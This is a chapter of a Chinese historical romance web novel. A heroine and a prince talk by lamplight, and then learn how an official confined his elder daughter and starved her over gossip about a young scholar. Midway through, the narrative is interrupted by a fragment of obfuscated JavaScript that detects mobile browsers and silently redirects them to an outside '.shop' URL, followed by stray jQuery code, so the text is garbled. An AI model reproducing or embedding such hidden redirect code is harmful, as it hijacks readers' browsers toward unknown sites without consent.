上官晏昭研墨蘸毫,借着油盏荧荧微光,铺纸作画。
素纸正中,她落笔绘一株苍劲古槐,枝桠间藏着一枚小巧鸟巢;日光穿隙而下,在地投下斑驳树影,古槐四周,又添几处屋舍瓦檐。
描摹此景之时,上官晏昭心底尚是一片平静,并无多大起伏。
直至她细细勾勒那一幕:少年将少女驮于肩头,二人一同抬首遥望枝头鹊巢。
倏忽,一点水珠落在纸面。
一滴......
两滴......
三滴......
晕染开来。
她从天将将晚,一直画到天色完全黑下来,才将画作完成。
她落笔极尽细致,一腔心绪尽寄笔墨,纸上少年少女那份澄澈纯粹的情意,栩栩欲活。
“画的不错。”
突然冒出的声音吓了上官晏昭一跳。
“殿下?你什么时候来的。”上官晏昭见到来人,轻轻唤他。
这屋子除了上官晏昭所坐的木凳,并无其他位置,凌朔便坐在她的床榻边缘处。
“来了有一会儿了,你画画太专心了,没察觉到我,我也不想打扰你画画的思绪。”凌朔起身走到上官晏昭的身旁,将上官晏昭手中的画拿了起来。
他借着微弱的光细细打量这副画,许久不曾说话。
须臾,他才开口:
“一直没空问,你心里好受点没。”
凌朔从画作上移开目光,看向坐在椅凳上的上官晏昭。
上官晏昭抬头往他,烛光摇曳,凌朔的脸在灯光下忽明忽暗,棱角分明。
一双关切的眼神倒是瞧得真切。
“我的心情不甚重要,难过的事情选择性地不去想,久而久之,大脑自然会帮你忘记......”
“可是你还在画他们。”凌朔认真看着她,温柔地问她。
“至少......不会主动提起。”上官晏昭语调微微有些哽咽。
“殿下。”
“嗯?”
“若你一朝登帝位,你该如何对待鞑靼?是......赶尽杀绝,还是顺其自然,进犯则守。”
凌朔将手中画轻轻放于桌面,轻柔地、却沉稳地看着上官晏昭,启唇开口:
“当先固本,休养国力。”
“嗯?”
凌朔慢步踱回床榻边坐下:
“眼下鞑靼元气大伤,短时间内无力对抗大宣,且其部落分散、内斗严重。
若有朝一日,真能夺到帝位,届时暗中平衡其各部落的势力,让其呈各族鼎立之势。
大宣与他们,通商开市,互通有无,共获其利。
然怀柔之道,不可无备。
必整饬兵马,厉兵秣马,使我国力甲兵远胜北疆诸部。
鞑靼既享互市之利,又畏天朝兵威,方能安分守境,不再轻启边衅。”
“可以实现吗?”
“总归试试吧。”
两人正安静地享受这私语时刻,一个轻微的脚步声从窗户边传来。
“谁!”上官晏昭厉声看去。
一个三尺上下的小人儿从门口处挪了进来。
细眼一瞧,是上官晏昭抱走抚慰的梁又成的幼女梁心玉。
满脸挂着泪珠。
“心玉,你怎么来了。”
梁心玉小姑娘没想到太子也在上官晏昭的房里,她看到他的时候还是有点害怕,但是心中的焦急让她冲淡了这点害怕,她哽咽着跑到上官晏昭旁边,抽抽噎噎地说:
“姐姐,你能不能救救我姐姐。”
上官晏昭抱住了小泪人,温声细语:“怎么了?”
“我姐姐她......”
“太子殿下!”
曹冲打断了梁心玉的说话,从门外走了进来。
凌朔:“说。”
“属下擒获一名刺客,此人意图翻墙潜入宅院,被巡守侍卫拿住。”
话音落下,身后两名侍卫押着一名身着青蓝襕衫的男子入内。
谁知上官晏昭怀中的梁心玉一眼望见那人,猛地奋力挣开怀抱,直直扑上前去,伸出小手不住捶打男子面颊。
嘴里一味地喊着:
“都怪你!都怪你!都是因为你,我姐姐才会被关起来!她都已经好些天没吃饭了......”
上官晏昭怕这男子情急之下用嘴咬这孩子,连忙将梁心玉拉了回来。
梁心玉情绪激动又年纪尚小,说不出个所以然,就审问了跪在地上的那男子。
原来,地上跪着的男子名叫韩秀,是荣城有名的天才少年,18岁便中了举,我前途无量,风光无比。
韩秀在一次集会上对梁又成的大女儿梁心荣一见倾心,满心爱慕。
此后但凡听闻梁心荣出外游赏,他便多方筹谋,寻机相逢。
日久天长,梁心荣亦对这位天资卓绝的举子情愫暗生。
一日,在茶楼里,韩秀坐在梁心荣的后面桌,两人相背而坐,互诉心肠。
韩秀背对着梁心荣,将手慢慢地往梁心荣的方向挪动。
终是触到她的指尖,轻轻一握,攥住那纤纤素手,久久不肯松开。
只是这一幕被茶楼的小厮不经意间看见。
转瞬之间,梁心荣与韩秀的流言蜚语,便在荣城城内四处散播。
一日公务罢歇,梁又成偶然听见衙役闲谈。
“听闻了吗?梁判官府上大小姐,与少年举子韩秀在茶楼相会,当众执手,甚至尚有亲昵之举!”
“此话当真?”
“千真万确,不少人亲眼撞见。”
“梁小姐容貌秀丽,韩秀天资不凡,倒也称得上良配。”
“谁说不是,若韩秀日后成了梁大人乘龙快婿,又少年登科,将来前途不可估量!”
“听闻韩秀家境清寒,家中唯有老母健在。”
“如此更该早早攀附,待到他日他青云直上,再想结交便难了。”
“正是这个道理。”
————
可彼时流言四起之际,梁心荣当日并未踏出府门半步,正静居闺阁,拈针走线,修习女红。
梁心荣正潜心缝针之际,她的父亲便推门进来,怒气冲冲。
梁又成冷着一张脸,一进来看见大女儿手上正在缝制一个书生惯用的扇囊,长条扁筒,上端开口,如意云头样式。
又想起日间衙役闲谈的流言,胸中怒火顿时翻涌。
他大步上前,一把夺过梁心荣手中的扇囊,径直置于案头烛火之上。
锦缎遇火瞬时燃了起来,他随手掷落在地,片刻便化作一堆残灰。
“父亲大人,您这是何故?”梁心荣自幼温顺恭谨,向来不敢违逆父辈,心中纵然惊疑,亦不敢高声诘问,只怯生生低声相询。
梁又成双手背于身后,目光沉沉锁住女儿:
“你与那韩秀,在茶楼里做了些什么,难道心中全无半分自知?”
梁心荣一听,便犹如一盆凉水直浇心头,她颤颤巍巍地跪地:
“父亲大人,女儿与韩秀两情相悦。”
梁又成一听这话便怒上心头在背后的手便猛地朝梁心荣脸上掌掴。
“两情相悦?两情相悦就可以在大庭广众之下和韩秀卿卿我我?做出不雅之事?”
梁心荣气的指着梁心荣的脸,厉声呵斥:“你!你丢尽了我们梁家的脸,我在官场,一向廉洁自律,世人皆知!教出来的女儿,却如此放荡不堪,你不配做我梁又成的女儿!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772259|209089||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>梁心荣心中委屈,想要为自己申辩:
“父亲,我们并未有众多亲密之举,只是他当时牵了一下我的手,我们并未有什么过分的举止,韩秀他很好,对我也很好,还望父亲成全!”
“你竟还敢出言辩驳!从小家里怎么教你的?女子应当守礼端静,古来礼法更有男女授受不亲之规!未有父母之命、媒妁之言,你与一外男于市井私会执手,举止轻脱,失却闺阁本分,竟还毫不知廉耻,向我替自己求婚姻?
我们梁家怎出了你这个□□!”
“□□”一词一出,梁心荣浑身僵住,心神震骇,一时无从辩驳。
“要是不好好罚你,以后心玉跟你有样学样,我梁又成以何脸面立与这世间?
你便在此院中静思己过,不得擅出半步!”
梁心荣便被禁了足。
但当时梁又成虽禁了女儿的足,吃食也是照样供给。
事情的转折点,还在于守备洪兴。
洪兴与判官梁又成素来不和。
洪兴身为武官,时常邀麾下将士流连青楼酒肆,开销浩大,朝廷俸禄难以支撑,遂起了收受贿赂之心。
他深知此事定然瞒不过梁又成,一旦梁又成上疏弹劾,守备之位难保。
于是他寻机会游说梁又成一同纳贿,分润多寡,尽由梁又成做主。
梁又成素来嫉恶贪墨,当即断然回绝,正色言道:
“大丈夫立身于世,当光明磊落。纳贿营私,乃是小人行径。洪大人,还望好自为之。”
求财之路就此断绝,洪兴心中积怨。
既不能同流合污,他便一心想要寻梁又成的短处,伺机将其扳倒。
奈何梁又成两袖清风,不取民间分毫,履职公允,无从找寻把柄。
洪兴心中郁结,愈发憎恶梁又成,时时伺机讥讽。
一日洪兴喜得麟儿,手下众人纷纷道贺。他假意闲谈,话音却刻意传至一旁梁又成耳中:
“我是后继有人啊,还好我运气好,上天保佑我,不像有些人,命苦啊,家境不好,苦读多年才当了个官,为惜清名分文不取,家里又生了一窝的丫头,内子怕是瓦窑出身,要绝户啊,可怜可怜。”
洪兴当时见梁又成并没有什么反应,心下觉得无趣的很,提了几次也就不怎么提了。
当梁又成禁足长女的消息传到洪兴耳朵里,他一时心下想要挖苦梁又成一番。
一日,文武官员聚众议事,洪兴当着众人的面,高声笑道:
“听闻梁判官长女与少年举子韩秀在外厮混,举止轻薄啊,没想到,你就是生个女儿都如此作风不良啊,这样的女儿要是换到我手里,我还不如仗杀死她,这才不有辱门楣啊。”
众目睽睽之下,梁又成无从辩驳,只得强忍怒火,咽下这口闷气。
归府之后,一腔愤懑尽数倾泻在梁心荣身上,当即下令断绝她的膳食。
断食四日之后,梁夫人苦苦哀求,恳请他宽宥女儿。可梁又成心意已决,不肯松口,依旧不许供给饮食,竟存了惩戒至死之心。
直至凌朔一行人暂住梁府,梁又成才松口,准许梁心荣出别院相见,亦命人送上吃食。
可连日饥困,梁心荣心境灰败,眼见餐食,只觉胸间泛恶,一口也难以咽下。
梁又成觉着梁心荣与他斗气:“你不吃便不吃!你给我继续回屋禁足!我看你什么时候求我!”
梁心荣便又被关了回去。
一直到今天,还未放出来。
凌朔与上官晏昭听罢韩秀的供述,又听梁心玉一旁含泪补充,整件事的来龙去脉已然明晰。
二人正要动身前往寻梁又成代为求情,一名丫鬟踉跄自院门奔入,声音惶急:
“不好了!大事不好!”